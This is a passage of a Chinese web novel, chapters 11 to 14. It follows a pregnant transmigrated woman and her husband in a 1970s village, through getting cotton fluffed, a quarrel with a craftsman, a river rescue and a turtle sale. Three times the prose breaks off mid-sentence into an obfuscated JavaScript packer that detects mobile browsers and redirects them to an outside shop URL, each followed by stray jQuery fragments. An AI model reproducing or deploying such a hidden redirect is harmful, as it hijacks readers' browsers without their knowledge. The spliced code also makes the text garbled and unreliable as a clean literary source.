江向东不愿意跟红玉吵架,虽然这次是红玉单方面地跟他生气,可医生说了,怀孕的女人不能受气。
于是睡觉时,他压着脾气,好声好气地同红玉说,不提养老,有个儿子,他们老了女儿也能有个依靠。
“就比如何婶他们家,何云被她男人那一大家子欺负,她弟弟虽然小,也是三番两次上门给她撑腰。”
江向东和原主吵架时,经常十天半个月都不说话。
红玉觉得那样不好,且她最气的时候过去了,江向东态度也算好,她便道:“只她弟弟去了,何婶他们没去?”
江向东默了下:“去了。”
他知道红玉的意思――父母一样能为女儿撑腰。
“可我们总会老。”
“我们老得不能给她撑腰时,她年纪也不小了,估计后代也大了,还需要哥哥弟弟给她撑腰?”躺着说话不方便,还没气势,红玉索性坐起来,在黑暗中看着江向东:“再者,哥哥弟弟就一定能给姐姐妹妹撑腰吗?”
“不一定吧,”红玉自问自答,便是高门世家都不一定能做到,何况寻常百姓家:“万一他们感情不好,万一与嫂子弟妹不睦,万一哥哥弟弟不成器,反而成了姐姐妹妹的拖累。”
江向东也坐了起来:“你就是不想要儿子才这么想,你要是想要儿子就不会这么想了。”
红玉气结,算上中午那次,他们为着这事已经聊了三次,江向东居然还以为她是不想要儿子。
她算是体会到对牛弹琴是什么感觉了。
“我是不想要儿子吗?”
红玉都要气笑了,正好这时肚子里的孩子突然动了下。
之前也动过,但很轻,有时候她都以为是她的错觉,但这一下很重,像是在伸手或者蹬腿。
她捂住肚子,下意识地哎呦了下。
江向东心一紧,难道是被他气出问题来了。
顿时,什么脾气都烟消云散了。
“你肚子痛?”
他急忙去点煤油灯。
红玉偶尔要起夜,是以煤油灯就放在床边,很快就点上了。
只见红玉捂着肚子,煤油灯不够亮,看不出她脸色怎么样。
江向东:“我给你倒点水。”
水很快倒来,孩子也渐渐安静下来了。
红玉喝完水,江向东这才问怎么了。
“胎动而已,”红玉没好气:“说不定就是被你气的。”
江向东心想也有可能是被红玉气的――孩子是儿子,听到妈妈更喜欢女儿,可不就生气了。
但这话他是万万不能说的。
孩子这一打岔,红玉懒得和江向东争辩,浪费口舌,她翻身睡了。
江向东却精神得很,他小声:“孩子还在动吗?”
红玉不语。
江向东期待地问:“我能摸一摸吗?”
红玉依旧不语,只是在江向东把手伸过来时给他甩回去。
江向东也不在意,反正红玉睡着了会自己挤过来。
为此,江向东一直不睡,果然没多久,红玉就一点点地移了过来。
江向东小心地替她拢了拢被子,再把手轻轻放到她的肚子上。
“孩子啊孩子,以后动的时候记得轻点,别吓到你妈了。”
“不过你妈也太容易生气了,你以后可别学她。”
“但你妈也是为了你,怕是你女儿,我不喜欢,我怎么可能不喜欢。”
一个人嘀嘀咕咕好久,江向东才揽着红玉睡去。
半夜,红玉饿醒了。
一开始,她没想起来弄饭,太麻烦了,睡着了就不知道饿了。
然而翻来覆去好久,肚子咕咕作响,红玉实在是睡不着,反而越来越饿。
最后她忍不了了,想起来吃点饼干垫肚子。
床是架子床,挂了床幔防蚊,红玉睡的里面。
她起来,小心翼翼地跨过江向东,刚踩到地面,背后忽然传来一声:“你干嘛?”
大半夜的,红玉没有心理准备,被吓得浑身一抖。
江向东点亮煤油灯,紧张兮兮地问:“孩子又动了?”
还是睡前被他气到,不舒服了?
“不是,”红玉拿过煤油灯,往外走:“我饿了,去拿点饼干吃。”
“饼干干巴巴地怎么吃,”在江向东看来饿了就得吃正经饭,饼干只是零嘴,他往灶房去:“你等着,我给你煮点面。”
红玉跟来灶房烧火。
江向东先煎了个蛋,再烧水煮面,等水开的功夫,他出去摸黑摘了点脆嫩的小白菜。
很快,一小碗热腾腾香喷喷的鸡蛋面就出锅了。
也不去堂屋吃了,就在灶洞前吃,灶里有火,烤得人暖烘烘的。
这碗面不多,红玉最近胃口不好,若是白天,她肯定吃不完,可或许是晚上没吃多少,这一碗面她竟然吃完了,连汤都喝得一干二净。
江向东接过碗:“吃饱没,要不我再给你煮一点?”
红玉摇头:“不了,吃得太撑睡觉不舒服。”
江向东白天干了重活,累得很,收拾好灶房回到床上,眼睛一闭,呼吸几乎立马就平稳了。
红玉:……
这么困,是怎么起来给她煮面的?
她轻轻喊道:“江向东?”
江向东迷迷糊糊地嗯了声,伸手把红玉揽进怀里,嘴里咕哝着:“冷,盖好,别感冒了。”
红玉莞尔,算了,从小根深蒂固的想法岂是那么容易改变的。
先就这么过着吧,以后的事以后再说。
.
自从发现红玉喜欢吃野猕猴桃,江向东每日都去摘酸溜溜的野果子,渐渐的,红玉的孕反几乎没有了。
加之江向东不是去买排骨,就是捉鱼来熬鱼汤,吃得好,身体就好,干活也没那么难了。
熟悉之后,动作比其他人还快些。
但她也不是天天都去上工。
一来她毕竟怀着孕,怕太累了对孩子不好。
二来家务活也得有人做。江向东为了拿满公分都是干最重的活,不能让他下工回到家还要忙家里的事。不如她少挣点公分,两人都轻松点。
时间一晃,转眼就是一个月。
红玉又进城是医院检查了下,一切都好。
医院叮嘱他们的,说他们住得远,现在可以一个月来一次,等八~九月了,一两个星期就得来一次,实在来不了,最好也要去公社的卫生所看看。
这天下午,公社发棉花,不上工。
红玉没去,半下午时,江向东带着他们两个分到的棉花回来了。
江向东公分多,分到了五两,红
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578417|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玉公分少,只有二两。
红玉喜欢宽的棉絮,整个人窝在里面最好,又是冬天盖,得要五六斤的棉花,不然不暖和。
孩子的棉絮也不能太薄太小,至少要两斤,以后大了还能盖。
红玉还想把两人棉袄里面的棉花给换了。
前些天出太阳时,红玉把她和江向东棉袄拿出来晒了晒。
破旧不说,里面的棉花都结块了,打都打不散,这样的衣服能保暖就怪了。
最近花钱的地方多,比如换棉花,还得准备被套,红玉舍不得做新棉袄,只能换一换里面的棉花。
江向东对给棉袄换棉花没意见,但是还要给孩子弹棉絮?
江向东错愕:“他不跟我们睡?”
红玉看着他:“床就这么大,只能睡下两个人,要么我们俩睡,要么他挨着我睡,你选吧。”
江向东不认为他们的床小,这床是结婚前他让人新打的,想的就是以后生了孩子能睡下一家三口。
生产队的人打床都是打这么大的,也没听谁说睡不下一个刚出生的孩子。
可红玉这么一说,江向东想了想,是不小,多一个孩子也能勉强睡下,就是不比只睡他们两人宽敞,也没那么舒服。
而且红玉那么怕冷,如果让孩子和她睡,怕是都睡不暖和。
“还是让他一个人睡吧,”江向东迅速做出选择:“挨着大人睡,压着就不好了。”
红玉:“还得给孩子打一张小床。”
江向东应道:“行,空了我就去找人打。”
换棉花得趁早,晚了说不定就被别人换走了。
傍晚,家家户户应该都分到棉花回家了,江向东就出门了。
他没有一次性换完,换了两家他就先把棉花拿回去,再去其他人家里。
就这么跑了六七趟,天黑尽时,堂屋角落里堆了一大堆的棉花,蓬松柔软又雪白,看着就喜人。
跑完最后一趟,红玉问:“总共换了多少?”
看着挺多的。
江向东累了,正好桌子上有红玉给她自己泡的野菊花茶,他端起就喝。
“七斤,我去隔壁生产队换了两斤。”他道:“要是还不够,就去供销社买。新棉花下来了,供销社应该有卖。”
红玉担心:“我们没称,会不会有人给的量不够。”
“不会,我找的都是老实人,”江向东顿了下,补充道:“就算不老实,他们也不敢骗我。”
红玉一笑,却也不觉得江向东是在说大话。
用钱大山的话来说,就是他哥在方圆十里的地位,是他自己打出来的。
再厉害的流氓痞子,都不是江向东的对手。
话说回来,都打便方圆十里无敌手了,他居然没长歪。
新棉花下来了,肯定会有不少人要弹棉絮。
为了早点拿到新棉絮,次日江向东没去上工,带着棉花去了公社的弹棉花铺子。
红玉跟着一起。
天还没亮他们就出门了,山里雾气缭绕,本来就有点冷,车动起来风一大,就更冷。
红玉紧紧抱着江向东的腰,脑袋死死地抵着江向东的背。
骑了没多久,车子忽然停了下来。
红玉缩着脖子:“怎么了?”
江向东:“有点热,我脱个衣服。”
“热什么热,别以为我不知道你是想脱给我穿。”红玉把江向东脱到一半的衣服拉上去:“赶快穿上,你要是生病,谁去挣公分?”
12. 012
他们到得早,铺子没开门,门前已经有人在排队了。
红玉忍不住道:“我还以为我们是最早的呢。”
排他们前面的婶子道:“就几个,也要不了几天。”
江向东话少,干站着没意思,红玉跟婶子搭话:“弹一床棉絮要多久?”
“窄点的半天就行,宽的就要一两天。”婶子听红玉口音不对,她奇道:“你不是我们这儿的人?”
红玉道:“不是,我是来下乡的知青。”
婶子看向江向东:“那他是?”
“我男人,”红玉站直身子,露出六个多月的孕肚:“他是当地人。”
天渐渐亮起来,吴桂花看清了红玉的长相,她感慨道:“哎呦,妹子,你生得真好看,跟电影里的明星似的。”
排队的人比红玉他们到时多了不少,听到这话,都朝红玉看过来。
好奇的打量无所谓,偏偏有个吊儿郎当的年轻男人盯着红玉一直看。
江向东莲蓬沉,漆黑的眸子冷冷地瞪向对方。
“江向东!”
年轻男人也不矮不瘦,瞅着是个厉害的,可在认出江向东后,他往后一缩,不敢再看了。
“江向东?”吴桂花上下打量着江向东,惊讶道:“你是潘秀的儿子江向东?”
江向东没说话,红玉笑着问:“婶子,你认识我们妈?”
“怎么不认识,你们妈结婚前和我最要好了,向东生下来的时候我还抱过呢,尿了我一身呢。”吴桂花笑容满面:“啥时候结婚的,怎么没听你们姥姥他们说过!”
红玉笑了笑,江向东和他姥姥一家也不亲近,同属一个公社的生产队,原主都没去过他姥姥家。
吴桂花见红玉不说,就知道是怎么回事了。
她叹了口气,对红玉道:“你男人就是太傻,无论如何,那是他亲妈不是,结果却让别人捡了便宜。”
红玉对江向东亲妈以及姥姥那家的事知道得不多,难得遇到个知情的,她问:“别人是?”
“就是你男人舅舅那家。”吴桂花看不惯江向东的舅妈,正巧又和红玉聊得来,她挤眉弄眼地道:“特别是你们舅妈,张口闭口就是你们妈以后要靠她的一对儿女养老,把儿子送进城不算,还想让你们妈把她女儿也接去。”
红玉:“那是她的侄儿侄女嘛。”
“再侄儿侄女也没有这样占便宜的,”吴桂花道:“再说了,你们妈把潘家两个小的当侄儿侄女,那潘家人有没有把你男人当侄儿?”
自然是没有的。
别说什么江向东自己不跟他们来往,潘家人得了潘秀那么多的好处,江向东再冷淡,他们也该主动点。
可江向东结婚,潘秀收到消息都来了,离得近的潘家人却一次都没来过。
江向东可能是不想听这些话,他去菜站买肉。
这是他们昨晚上就想好的,趁今天来得早,买点肥肉回去熬油。
他一离开,吴桂花立即道:“红玉,你知道不,你男人表兄弟潘辉的那个工作本来是你们妈给你男人找的。”
红玉哪里知道这个事。
吴桂花:“可你男人说什么都不愿意去,不想浪费这个机会,才给了潘辉。”
红玉暗到可惜,但转念一想,若江向东去了城里,原主和江向东就不会结婚,也就与她无关了
“回头你好好劝劝你男人,到底是亲母子,有啥过不去的呢。”吴桂花语重心长地道:“而且你们妈就他一个儿子,以后真要人依靠了,还是只能你们来。”
“再说了,你们读书人不是有句话么,树什么子,亲人养子什么东西的。”
“树欲静而风不止,子欲养而亲不待。”红玉苦笑道:“婶子,实话跟你说,不是我不劝,是我劝不动啊。”
吴桂花愁道:“你们妈是真不容易啊,每次回来跟我提起你男人就掉眼泪。”
红玉见这婶子对潘秀似乎是真心的,她小声问:“婶子,我家那个为啥和妈不亲近?”
吴桂花反问:“难道不是觉得潘秀不要他了?”
红玉不知道,但直觉告诉她应该不是的。
片刻,江向东回来了,他买了一斤肥肉,三两瘦肉。
吴桂花见了,下意识地说了句:“咋买瘦肉,一点油水都没有。”
江向东道:“她喜欢吃。”
红玉坦然:“肥肉太腻了。”
“看我这张嘴,”吴桂花拍了下自己:“怀孕是得吃点自己喜欢的。”
七点半,铺子开门了。
众人按顺序进去称重登记。
轮到红玉他们时,江向东去称重,红玉来登记,师傅见棉花多,问:“弹两床啊?”
红玉说:“不,弹一床长两米,宽一米八的。”
孩子的那一床先不忙。
“这么宽?”师傅皱眉:“弹个一米五就已经了不得了。”
他转身,对江向东是说:“小兄弟,就弹个一米五就行了,用不着那么宽。”
红玉脸上的神色淡了下来,她已经说了要一米八的,师傅却还问江向东,明摆着是不拿她当回事。
“我媳妇说了,”江向东过来,站在红玉旁边:“就要一米八的。”
师傅抱怨:“不知道弹这么宽来干嘛。”
“弹来盖啊,”红玉道:“不然弹着玩啊。”
师傅愣了下,显然没想到红玉会呛他。来弹棉花哪个不是客客气气,不说希望他把棉絮弹好的,至少不故意使坏。
前世,这种人红玉见得多了去了,欺软怕硬,越给他脸越不要脸。
红玉继续:“你说这么多,是弹不了一米八的吗?”
这个师傅涨红了脸不说话,另一个矮点的师傅忙道:“能弹。”
红玉声音不咸不淡:“能弹就好,不然我就得去问问王主任,怎么公社请了个不会弹棉絮的师傅。”
巧的是,她话音刚落,王主任就进来了,他扫了眼众人:“怎么回事?”
民怕官,这点放在任何一个时代都是一样的。
王主任一进来,不大的屋子顿时安静得落针可闻。
红玉神态自在地道:“王主任是这样的,我想弹床一米八宽的棉絮,这位师傅抱怨个不停,我还以为他不会弹呢。”
吴桂花还没走,她见红玉模样好,跟她说话时笑盈盈的,以为是个脾气温柔的小女娃子,没想到这么厉害。
呛了师傅就罢了,还敢在公社领导面前告状。
王主任也没想到江向东娶了这么个媳妇,敢拿他出来压人,被他撞见了,还面不改色,胆子挺大。
他问:“弄好了吗?”
“好了,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578418|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
矮师傅忙道:“五天后来取就行。”
于是红玉和江向东跟着王主任一起出去,到铺子外面,王主任对红玉道:“我记得你是知青。”
红玉:“对。”
王主任:“高中毕业?”
红玉心下一动:“高中毕业,擅长毛笔字、心算。”
在老夫人身边伺候,认字写字是必须的,不仅如此,她还会一点吟诗作画。
那句“高门大户的侍女堪比小门户的千金小姐”不是假话。
心算是她管寿安院的账目时学的。
老夫人身边原本有个嬷嬷管着寿安院的账目,犯了错,被老夫人打发后,老夫人就让她暂管,她嫌弃用算盘麻烦,就学了心算,又快又准,账目从没有出错过。
王主任其实就是随口一问,没想到会听到这番话。
女人写毛笔字的少,会心算的更没几个。
他好奇:“你心算厉害吗?”
毛笔字用处不大,但要是有个心算厉害的,他们公社算账就要轻松多了。
红玉想了想:“反正没错过。”
来到这时代后,想着技多不愁,她参考了这时代的数学,练了心算,自觉满意。
王主任当然知道红玉说她擅长毛笔字和心算的用意,他道:“行,回头要算账时找你。”
红玉笑靥如花:“那我等着。”
王主任就欣赏这样大方自信的人,进到办公室都还在笑。
书记见了问他为啥这么高兴。
王主任讲了,末了感叹:“江向东真是找了个能干媳妇。”
有本事不一定有李红玉的胆量,有胆量的人又不一定有李红玉的本事。
书记却不太相信:“一个小年轻,还会心算?”
说句不好听的,她有这本事,能下乡?
王主任:“有机会让她来试试看嘛。”
真有这本事,能省他们很多事。
不止是吴桂花和王主任惊讶红玉的胆量,江向东也挺惊讶。
回家路上,太阳出来了,晒在身上,暖洋洋的。
江向东在前面问:“你就不怕那个师傅给我们的棉絮使坏?”
“他敢使坏我就敢闹到公社办公室去,”天亮了,红玉不能抱着江向东的腰,只拉着衣服:“不过也是王主任认识你,不然我也不会那么硬气。”
这叫借势,可见背后有人是多么重要。
红玉不禁想到了潘秀和贺文忠,若是江向东能和潘秀修复母子关系,他们就是不去城里,也能过得很好。
然而红玉犹豫了再犹豫,还是没有问江向东为何疏远潘秀。
和之前一样,到家后,江向东去上工,红玉没去。
远远地,钱大山就冲他招手:“哥,这儿。”
之前塌的路修好了,没啥重活,江向东就也到田里除草。
虽是除草,看着轻松,但田里有水,冰冷得很,大多数人都没有筒靴,只能打光脚踩进水里,一整天下来,也不好受,所以公分不低。
江向东朝钱大山走去,他们俩习惯了一起干活。
“哥,你看,”钱大山从水里拿出一个竹篓子:“我捉了好大一条黄鳝,中午你拿回去给嫂子弄个鳝鱼汤。”
还有几条泥鳅。
不是什么好东西,却是乡下人难得的荤腥。
13. 013
谁也不是傻子,下田干活的人都会顺手捉几条回去打打牙祭。
这是大家伙心知肚明的事,只要不太明目张胆,都没人管。
上午,江向东和钱大山捉了半篓子的黄鳝和泥鳅。
中午没吃,拿回家养着了。
下午,两人又捉了小半篓。
傍晚,钱大山跟着江向东回家,看见红玉他大声喊道:“嫂子,我又来了。”
江向东道:“她看见了。”
红玉在看原主的高中课本,其他科目不要紧,语文和数学她想多看看,指不定哪天就用上了。
她还想去买笔和本子,她毛笔字写得不错,可硬笔字不一定能写好。
江向东中午就说了钱大山晚上要来,红玉煮了钱大山的口粮,菜就等着江向东回来弄。
两人从小到大,吃了不知道多少条黄鳝和泥鳅,都是处理这个的好手――
把头固定住,用小刀轻轻一划就开膛破肚了。
红玉怕腥,也觉得黄鳝跟蛇似的,怪吓人的。等他们处理干净,用盐洗掉黏液后她才凑过去看了眼,已经剁成小段了,瞧着挺好吃的。
有钱大山在,灶房就是他们兄弟俩的地方,红玉连火都不用烧,只等着吃就好。
黄鳝泥鳅不少,烧出来两大土碗,他们三个肯定吃不完。
江向东询问过钱大山的意见后单独盛了一小碗,准备钱大山一会儿回家时给顾明河带过去。
顾明河是来改造的,估计手里有钱有票也不好去供销社买东西。
是以江向东看在那五十块钱的份上偶尔会送点肉菜过去,不多,但总比没有好。
饭菜上桌,红玉先夹了块黄鳝肉。
是红烧的做法,出锅前放了点青红辣椒,吃起来鲜香有味,肉质也很细嫩。
“好吃,”她眼睛一亮,夸道:“堪比大酒楼的师傅。”
没有大酒楼那么精致,却多了几分鲜味。
江向东嘴角微微上扬。
“哥就是啥都厉害。”钱大山也夸:“打得了最凶的架,也做得了最美味的菜。”
还娶了这么漂亮的媳妇。
天啊,他哥也太厉害了吧,他要向他哥学习看齐。
江向东一边给红玉夹了块肉多的鳝段一边对钱大山说:“我今晚要去捉鳖,你去不去?”
钱大山立马:“去,咋不去。”
红玉:“捉来吃?”
江向东:“可以吃,也可以拿去城里卖。”
红玉立即:“还是拿去卖吧。”
她不喜欢这个,江向东和钱大山都看出来了。
钱大山笑道:“嫂子,你别看它长得不好看,很补身体的,卖得也贵。”
再补身体也不吃。
她吃东西偏向于常见的,比如猪牛羊鸡鸭鹅,少见点的黄鳝泥鳅也能吃,但鳖啊蛇啊之类,她无论如何都不敢吃。
“你们经常去捉吗?”红玉问。
她穿来后,江向东每次出门,红玉都会问他去做什么。
原主在的时候不这样,他们经常不说话,江向东会偶尔带回来山鸡野兔,其他就没什么。
“也没有经常,上次去捉鳖还是去年夏天。”钱大山道:“那个不好捉,好几天都不一定能捉到一只,还是鳝鱼泥鳅好捉些,可惜卖不起价钱。”
钱大山说鳖不好捉是真的,到江向东去公社拿他们的棉絮那天他们都是无功而返,倒是捉了不少河鱼。
他们家的河鱼都没有断过,红玉也吃不腻,也不想吃腻。
他们家的肉票用得只剩两张了,而这两张之所以是不用,是要留着后面买肥肉熬油。
新弹好的棉絮蓬松柔软,红玉都想立刻用上,但没有被套。
上次去城里时,红玉去看了看,她喜欢的太贵了,不贵的她又不喜欢,就拖到了现在。
好在不太着急,没到最冷的时候,现在盖的被子能将就用。
当天晚上,两人又去了。
夜晚比白天温度要低十来度,红玉不等江向东,早早就躺上床了。
也没睡,在脑海里进行心算训练。
没有表,她不知道几点了,只感觉困了,正要睡,外面传来骂人的声音,但不是在他们家外面,听方向,是何婶他们家。
可何婶他们家就何婶两口子以及他们的小儿子,关系和睦,从不吵架。
是出了什么事?
若江向东在家,红玉会让江向东去看看,远亲不如近邻,他们家与何婶家处得一直很好,但江向东不在,就她一个人,她就没起来,想着明天去问问。
结果没一会儿,江向东在外面喊她开门,钱大山也在说话。
这是有收货?
前几天没收获的时候,钱大山就直接回他自己家了。
她起床点灯,刚一开门,就听到何婶恨铁不成钢的声音:“你怎么这么蠢,他们这么欺负你,你现在才知道回来?”
红玉下意识地问:“这是怎么了?”
“何婶的女儿何云,”江向东道:“被她婆家人欺负,带着女儿跑回来,天黑,母女俩掉进了河里,正好被我和钱大山撞见。”
红玉这才发现他们两人身上都是湿的。
钱大山嘿嘿笑:“嫂子,你都想不到我和哥刚把她们救起来,游到岸边,就看见了两只好大的鳖。”
他提了提手中的桶,喜得见牙不见眼:“每只都有三四斤。”
红玉挑眉:“这么大?”
钱大山笃定:“肯定是老天爷看我们做了好事奖励我们的。”
江向东丢过来一根洗脸帕:“你当时怕得要命,以为有鬼呢。”
“你以为我是你啊,胆子那么大,”钱大山理直气壮:“大晚上的,又是在河边,突然有个女人喊救命,还有小孩儿哭的声音,我怕不是很正常。”
红玉想了想那场面,觉得不能怪钱大山,确实挺吓人的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578419|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>把她们母女救起来后,人没事,但何云力竭抱不动女儿了,江向东和钱大山就一人提装着鳖的桶一人抱着孩子回来了。
太冷,钱大山在他们家洗了澡,喝了碗驱寒的姜汤才回去。
红玉听江向东提过何云在婆家过得不好,但不知道具体怎么回事。
等江向东进屋,她便迫不及待地打听。
江向东犹豫了下说:“好像是他们嫌何云没生儿子。”
他不想说,担心说了红玉又会问他要不要儿子,是不是重男轻女,可他不说,过两天她肯定也会从何婶那儿知道。
避免到时被红玉说他心虚,他还是说了。
红玉的确想到了江向东,但不是江向东担心的那样,她是想虽然不知道何云的男人什么样,但以江向东的为人,绝对不会那么对她。
第二天,吃过早饭江向东就骑车进城卖鳖去了。
红玉也是昨晚上听江向东和钱大山商量才知道江向东以前常去黑市卖东西。
她暗忖,这是不是意味着江向东手里的钱比她想象中要多一些。
江向东有段时间没去黑市了,到入□□了进场费后他找了个角落把鳖摆出来,他自己也是直接坐在地上,头上的烂草帽压得很低很低。
这么大的鳖少见得很,刚摆出来人立刻就围了过来。
“呦,这王八真大,小伙子,怎么卖?”
江向东没说话,比了个三。
“三块?”
“是三十。”旁边人嗤道:“三块,你买什么鳖?”
看热闹的人多,要买的人少。
江向东不着急,这么贵的东西本来就不容易卖,今儿个能卖掉就算好的了。
下午,黑市里人越来越少,江向东都要收拾东西回去了,突然来了个大叔,他四下看了看,直奔江向东而来。
他将鳖翻来覆去看了好几遍,出价五十,两只一起。
江向东不同意,他懒得跟人讲价,都是给的卖价。
大叔:“我两只都要了,免得你明天又来。”
江向东油盐不进:“我明天不来,我兄弟来。”
大叔哽住:“你……”
无论大叔怎么说,江向东都不降价,他甚至觉得大叔有点吵人:“三十一只,你要买就买,不买就算了。”
大叔气结,哪有买东西不讲价的,他转身就走,以为江向东会叫住他。
然而他走出黑市,等了半天都没见到人,正犹豫要不要回去时,江向东骑着自行车出来了。
大叔暗喜,以为江向东是来找他的,得意道:“还是要卖给我吧,我都说了,除了我,谁会花这么多钱买两只王八。”
他要不是为了送礼,听说对方家中长辈身体不好,他也舍不得买。
江向东都没停车:“我是要回去了。”
大叔拉住自行车的后坐不让人走,他找了好几天才找到这两只鳖,走了谁知道明天是不是真的会来。
14. 014
江向东回到生产队已经是傍晚。
大门是开着的,他一进堂屋听到何云女儿石小雨的声音:“姨姨,你肚子大大的是要生弟弟了吗?”
红玉柔声说:“也可能是妹妹。”
“生弟弟好,”石小雨道:“生了弟弟能吃肉能穿新衣服。”
红玉道:“不是,生了妹妹也能吃肉穿新衣服。”
石小雨歪了歪头,稚嫩的小脸上满是疑惑:“可是奶说妹妹是赔钱货。”
“她才是赔钱货!”
江向东走进灶房,红玉在灶洞前烧火,石小雨站在旁边,她比较瘦,小小一个。
被乍然响起的声音吓了一跳,她赶忙躲到红玉身后。
以后他们的孩子长大了也会像这样吧。
“叔叔,”看清来人是江向东,石小雨高兴极了:“你终于回来了。”
江向东询问地看向红玉,这小女娃怎么在他们家?
红玉解释:“下午何婶带她来跟你道谢,她没见到你就不走了。”
“叔叔,”石小雨从包里拿出一颗水果硬糖:“给你吃糖。”
江向东哪里能要一个四岁小姑娘的糖,但石小雨很坚定,非要把糖送给江向东不可。
“叔叔,你吃嘛,”她仰着头,把手举得很高:“甜甜的,可好吃了。”
“你就收下吧,”红玉忍俊不禁:“也是小雨的一番心意呢。”
江向东接过,低头看着石小雨:“谢谢。”
小姑娘嘿嘿一笑,大大的眼睛弯成了月牙。
“姨姨,我要回姥姥家了。”石小雨对红玉道。
小雨乖巧可爱,红玉很喜欢:“就在姨姨家吃夜饭好不好?”
石小雨摇摇头:“我想妈妈了。”
说完,她自己就要往外走,红玉连忙让江向东把人送回去。
何婶家距离他们家不到一百米,很快江向东就回来了。
锅里的饭还要煮一会儿,不着急备菜,江向东坐到红玉旁边,歇歇气,两人再安静地说会儿话。
红玉问他:“小雨是不是很可爱?”
不是所有的小孩儿都这么讨人喜欢,老夫人有个外孙就顽皮到让人讨厌,希望她的孩子能乖一点。
江向东笃定道:“我们的孩子更可爱。”
红玉噗嗤一声笑出来:“江向东,容我提醒你,我们的孩子还没出生。”
“那也可爱,”此刻的江向东像个不讲理的孩子:“难道你觉得别人家的孩子比我们的孩子好?”
红玉无语地翻了个白眼,转而问起江向东去卖鳖的事。
江向东说了,卖的钱他和钱大山平分,一人三十。
红玉惊讶:“这么贵!”
卖个两三次都能抵得上一年的公分了。
江向东:“要大才卖得贵,而且这东西不好捉。”
红玉想也是,这次要不是救何云母女两个,也捉不到。
江向东:“也不好卖。”
他给红玉讲卖鳖的过程,听到大叔离开,红玉问:“你就不怕他真的走了?”
这么贵,也不好卖。
江向东不在意地道:“走就走,要真卖不出去,就留着自己吃。”他顿了顿,继续道:“不过他肯定不会走,就算今天走了,明天也还会来。”
所以他不着急,稳得住,这才卖了六十块钱。
红玉问:“你怎么知道?”
“看出来的,”江向东道:“他是听别人说黑市有鳖卖,才着急跑来,就算觉得贵了点,也不会轻易放弃。”
“而且他能给出五十块钱两只的价格,就说明他有钱,不缺钱。”
只是一下子舍不得花这么多钱罢了。
但东西只有江向东有,他舍不得也只能舍得。
“对了,”江向东想起什么,从包里拿出一个红色的发箍:“这个给你。”
红玉接过来:“怎么买这个?”
江向东:“你之前不是说碎发有点多,今儿正好黑市有卖这个的,就买了个。”
剪头发时红玉是比着能编辫子的长度剪的,但有些时候,尤其是洗完头后,头发并不那么听话,每次她都要沾点水才能梳好。
发箍不用照镜子,红玉直接就戴头上了。
“好看吗?”
她扭头,对着江向东问道。
“不就是一个发箍么,有啥好看不好看的。”江向东起身:“我去杀鱼,今晚上做个红烧河鱼。”
红玉哼了声,自己去睡屋照镜子。
她的头发黑,皮肤又白,发箍红红的,戴在她头上还挺好看的。
关键是戴上发箍,她额前的碎发就不会散了,利落多了。
不过红色会不会太张扬了些。
乡下,大多数的衣服都是黑白灰,只有女人结婚时会在身上带点红,以示喜庆。
下次进城,她也要去黑市看看,再买一个发箍。
黑市的东西好,不便宜,这发箍花了一块钱,能买一斤肉了。
这么贵,红玉不觉得生产队还会有人买,不想没两天,林芝来找她时,头上就戴着一个一模一样的发箍。
刚好,红玉也戴着。
两人都挺惊讶,异口同声地问:“你这发箍?”
“江向东买的。”
“江涛买的。”
两人相视一笑,林芝说出来意:“爸弄到了一条牛尾巴,让你和江向东晚上过去吃饭。”
大约是知道红玉和江向东会不想去,林芝劝道:“来吧,那牛尾巴好大一根,尾根上还有好多肉。”
牛尾巴无论怎么做都香,红玉自己是愿意去的,可不知道江向东怎么想的。
“江向东来我就来。”她道。
“你劝一劝呗,”林芝道:“再说了,我看你们两口子关系是越来越好了,你还大着肚子,你说想吃,他能不来?”
红玉想了下,挺有道理的。
林芝出主意:“他真不来,你就让他给你弄条牛尾巴。”
这年头,猪尾巴都少,何况是牛尾巴。
林芝肚子九个月了,乡下人容易早产,指不定什么时候就生了,所以她不上工了,回家也没事,她就待在红玉这儿。
两人聊肚子里的孩子,林芝月份大,胎动更为频繁,睡不好觉,晚上要起好几次的夜。
林芝:“我就盼着他早点出来。”
聊知青点,据说原主回娘家那几天,知青点新来了一个男知青,凶得很,一来就跟其他男知青打架。
原主跟知青点的女知青偶尔有来往,红玉穿来后,只碰见时打个招呼。
“还有个事,”林芝斟酌着用词:“我昨天去城里检查的时候
